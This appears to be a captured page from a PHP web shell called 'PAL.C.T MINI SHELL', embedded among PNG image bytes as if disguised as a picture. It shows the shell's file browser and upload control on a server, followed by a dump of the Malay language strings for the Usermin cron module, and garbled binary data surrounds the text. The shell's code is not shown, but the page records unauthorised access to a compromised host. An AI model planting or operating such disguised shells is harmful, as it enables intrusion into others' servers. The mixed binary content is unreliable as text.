php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/cron/lang/
upload
files >> //usr/libexec/usermin/cron/lang/ms_MY

__norefs=1
acl_all=Semua pengguna
acl_command=Boleh lihat dan ubah arahan Cron?
acl_control=Boleh kawal capaian pengguna kepada Cron?
acl_create=Boleh cipta tugas Cron?
acl_delete=Boleh padam tugas Cron?
acl_except=Semua kecuali pengguna
acl_gid=Pengguna dengan grup utama
acl_hourly=Hadkan pekerjaan pada setiap jam?
acl_hourlydef=Seperti yang dinyatakan dalam Config Modul
acl_kill=Boleh matikan tugas Cron?
acl_move=Boleh pindahkan tugas Cron?
acl_only=Hanya pengguna
acl_this=Pengguna webmin semasa
acl_uid=Pengguna dengan UID dalan lingkungan
acl_users=Boleh ubah tugas cron untuk
allow_all1=Nafikan semua pengguna
allow_all2=Nafikan semua pengguna kecuali root
allow_all3=Benarkan semua pengguna
allow_allow=Hanya benarkan pengguna dalam senarai
allow_deny=Hanya nafikan pengguna dalam senarai
allow_desc=Borang ini membenarkan anda mengawal pengguna yang dibenar mencipta atau melarikan tugas cron.
allow_ecannot=Anda tidak boleh mengawal capaian pengguna cron
allow_title=Kawalan Capaian Cron
create_title=Cipta Tugas Cron
delete_enone=Tiada dipilih
delete_err=Gagal untuk memadam tugas Cron
ecopy=Ralat dikesan dalam konfigurasi Cron yang baharu : $1 $2
edit_active=Aktif?
edit_all=Semua
edit_clone=Klon tugas
edit_command=Arahan
edit_commands=Arahan
edit_comment=Penerangan
edit_ctrl=Nota: Ctrl-klik (atau command-klik pada Mac) untuk pilih atau nyah-pilih minit, jam, hari dan bulan.
edit_days=Hari
edit_details=Perincian Tugas
edit_ecannot=Anda tidak dibenarkan menyunting tugas cron untuk pengguna ini
edit_hours=Jam
edit_input=Masukkan kepada arahan
edit_mins=Minit
edit_months=Bulan
edit_range=Julat tarikh untuk melaksanakan
edit_return=tugas cron
edit_run=Larikan Sekarang
edit_saverun=Simpan dan Larikan Sekarang
edit_selected=Dipilih ..
edit_special0=Larikan pada masa yang dipilih seperti di bawah ..
edit_special1=Larikan pada jadual yang dipilih ..
edit_special_daily=Setiap Hari (tengah malam)
edit_special_hourly=Setiap Jam
edit_special_monthly=Setiap Bulan (pada 1hb)
edit_special_reboot=Apabila sistem boot
edit_special_weekly=Setiap Minggu (Ahad)
edit_special_yearly=Setiap Tahun (ketika 1 Jan)
edit_title=Ubah Tugas Cron
edit_user=Laksanakan tugas cron sebagai
edit_weekdays=Hari Minggu
edit_when=Bila akan dilaksanakan
env_active=Aktif?
env_bot=Selepas semua tugas Cron
env_details=Perincian pembolehubah persekitaran
env_ename='$1' bukanlah nama pembolehubah yang sah
env_err=Gagal menyimpan pembolehubah persekitaran
env_leave=Kedudukan semasa
env_name=Nama Pembolehubah
env_order=Nota - Tetapan pembolehubah persekitaran ini akan diterapkan kepada tugas Cron selepas senarai tugas pada laman utama modul
env_title1=Ubah Pembolehubah Persekitaran
env_title2=Cipta Pembolehubah Persekitaran
env_top=Sebelum semua tugas Cron untuk pengguna
env_user=Untuk pengguna
env_value=Nilai
env_where=Tambah pembolehubah persekitaran
env_where2=Pindah pembolehubah persekitaran
exec_cmd=Keluaran daripada arahan $1 ..
exec_cmdbg=Melarikan perintah $1 sebagai proses latar belakang.
exec_ecannot=Anda tidak dibenar melaksanakan tugas cron untuk pelayan ini
exec_none=Tiada keluaran dijana
exec_title=Laksana Tugas Cron
index_active=Aktif?
index_allow=Kawal capaian pengguna kepada tugas cron
index_command=Arahan
index_comment=Penerangan
index_create=Cipta jadual tugas cron
index_delete=Padam tugas terpilih
index_disable=Nyah-aktif tugas terpilih
index_ecmd=Arahan $1 untuk mengurus konfigurasi Cron pengguna tidak dijumpai. Mungkin Cron tidak dipasang pada sistem ini?
index_econfigcheck=Tugas Cron tidak boleh diuruskan pada sistem anda, seperti konfigurasi modul itu tidak sah: $1
index_ecreate=Cipta pembolehubah persekitaran baharu
index_ecrondir=Tugas Cron direktori $1 tidak wujud. Mungkin konfigurasi modul adalah tidak betul, atau Cron tidak dipasang?
index_enable=Membolehkan Tugas Terpilih
index_env=Pembolehubah persekitaran
index_esearch=Tiada tugas yang sepadan dengan carian anda untuk $1.
index_esingle=Fail $1 menyenaraikan tugas Cron yang tidak wujud. Mungkin Cron tidak dipasang pada sistem ini?
index_move=Pindah
index_none=Tiada tugas cron dalam sistem ini
index_none2=Tiada tugas cron yang boleh dicapai oleh anda
index_none3=Anda tiada lagi tugas cron.
index_ok=Carian
index_reset=Tetapan semula carian.
index_return=senarai cron
index_run=Melarikan?
index_search=Mencari tugas Cron yang sepadan
index_searchres=Tugas Cron yang sepadan $1 ..
index_title=Penjadualan Tugas Cron
index_toomany2=Terdapat terlalu banyak tugas untuk dipaparkan. Guna borang carian di atas untuk menghadkan senarai.
index_user=Pengguna
index_when=Larikan pada masa
kill_ecannot=Anda tidak dibenarkan untuk menamatkan tugas ini
kill_egone=Tiada lagi berlari
kill_ekill=Gagal mematikan : $1
kill_err=Gagal untuk mematikan tugas Cron
kill_ok=Ya, matikan ia
kill_rusure=Adakah anda pasti untuk mematikan proses $1 dengan PID $2?
kill_rusure2=Adakah anda pasti untuk mematikan proses $1 dengan PID $2, dan kesemua sub-proses?
kill_title=Menamatkan Tugas Cron
lcedit_special_daily=setiap hari (di tengah malam)
lcedit_special_hourly=setiap jam
lcedit_special_monthly=setiap bulan (pada tiap 1hb)
lcedit_special_reboot=bila sistem boot
lcedit_special_weekly=setiap minggu (pada hari ahad)
lcedit_special_yearly=setiap tahun (pasa 1hb Jan)
log_allow=Menukar capaian pengguna pada cron
log_create=Mencipta tugas cron untuk $1
log_create_l=Mencipta tugas cron "$2" untuk $1
log_crons_delete=Memadam Tugas Cron $1
log_crons_disable=Nyah-aktif Tugas Cron $1
log_crons_enable=Aktifkan tugas Cron $1
log_delete=Memadam tugas cron untuk $1
log_env_create=Mencipta pembolehubah persekitaran untuk $1
log_env_delete=Memadam pembolehubah persekitaran untuk $1
log_env_modify=Ubahsuai pembolehubah persekitaran untuk $1
log_exec=Laksanakan tugas cron sebagai $1
log_exec_l=Laksanakan tugas cron "$2" sebagai $1
log_kill=Menamatkan tugas Cron untuk $1
log_kill_l=Menamatkan tugas Cron "$2" untuk $1
log_modify=Ubahsuai tugas cron untuk  $1
log_modify_l=Ubahsuai tugas cron "$2" untuk $1
log_move=Pindahkan tugas Cron untuk $1
move_err=Gagal untuk memindahkan tugas Cron
move_etype=Tugas ini tidah boleh dipindahkan
range_all=Dijalankan pada mana-mana tarikh
range_eend=Hilang atau tarikh tamat tidah sah dalam lingkungan untuk menjalankan
range_end=pada $1
range_estart=Hilang atau tarikh mula tidah sah dalam lingkungan untuk menjalankan
range_start=Hanya jalankan dari $1
save_eallow=Pengguna '$1' tidak dibenar mencapai cron
save_ecannot=Anda tidak dibenar untuk mencipta atau menyunting tugas cron untuk '$1'
save_ecannot2=Anda tidak dibenarkan untuk mencipta tugas cron
save_ecmd=Anda tidak memasukkan arahan untuk dilaksana
save_eidx=Tugas Cron telah berjaya disimpan, tetapi tidak dapat dijalankan kerana ia tidak dijumpai!
save_enone=Anda tidak memilih sebarang $1 untuk dilaksana
save_err=Gagal menyimpan tugas cron
save_euser=Anda perlu memilih satu pengguna
save_euser2=Pengguna '$1' tidak wujud
ucwhen_cron=Pada masa cron $1
ucwhen_day=Setiap hari pada $2:$1
ucwhen_hour=Setiap jam selepas $1 jam
ucwhen_interval=Setiap $1 saat
ucwhen_min=Setipa minit
ucwhen_month=Pada hari $3 setiap bulan pada $2:$1
ucwhen_weekday=Setiap $3 pada $2:$1
when_cron=pada masa cron $1
when_day=setiap hari pada $2:$1
when_hour=setiap jam pada $1 selepas sejam
when_interval=Setiap $1 saat
when_min=setiap minit
when_month=pada hari ke $3 setiap bulan pada $2:$1
when_weekday=setiap $3 pada $2:$1
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`